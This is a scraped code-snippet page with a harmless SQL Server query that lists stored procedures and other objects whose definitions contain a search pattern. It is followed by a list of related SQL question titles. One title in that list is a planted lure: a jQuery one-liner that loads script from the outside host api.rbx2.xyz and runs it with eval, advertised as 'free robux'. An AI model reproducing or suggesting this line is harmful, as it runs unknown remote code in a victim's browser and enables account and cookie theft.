SQL find text in SP

SELECT DISTINCT
       o.name AS Object_Name,
       o.type_desc
FROM sys.sql_modules m
       INNER JOIN
       sys.objects o
         ON m.object_id = o.object_id
WHERE m.definition Like '%[ABD]%';

Source: stackoverflow.com

Similar codes

0 vote142 views2 answers
SQLSTATE[HY000]: General error: 3780 Referencing column 'role_id' and referenced column 'id' in foreign key constraint 'user_role_id foreign' are incompatible.
SQL
2 votes139 views2 answers
Mysql show table column comments sql
SQL
0 vote143 views1 answer
What is mysql_pconnect
SQL
0 vote137 views1 answer
Add unique constraint sql server multiple columns
SQL
0 vote124 views1 answer
Mysql locate
SQL
1 vote133 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
14 votes157 views6 answers
Finding duplicate rows mysql
SQL
0 vote131 views2 answers
Create new table plsql
SQL
0 vote184 views1 answer
Get last inserted primary key
SQL
0 vote123 views1 answer
T-SQL Never ending DELETE
SQL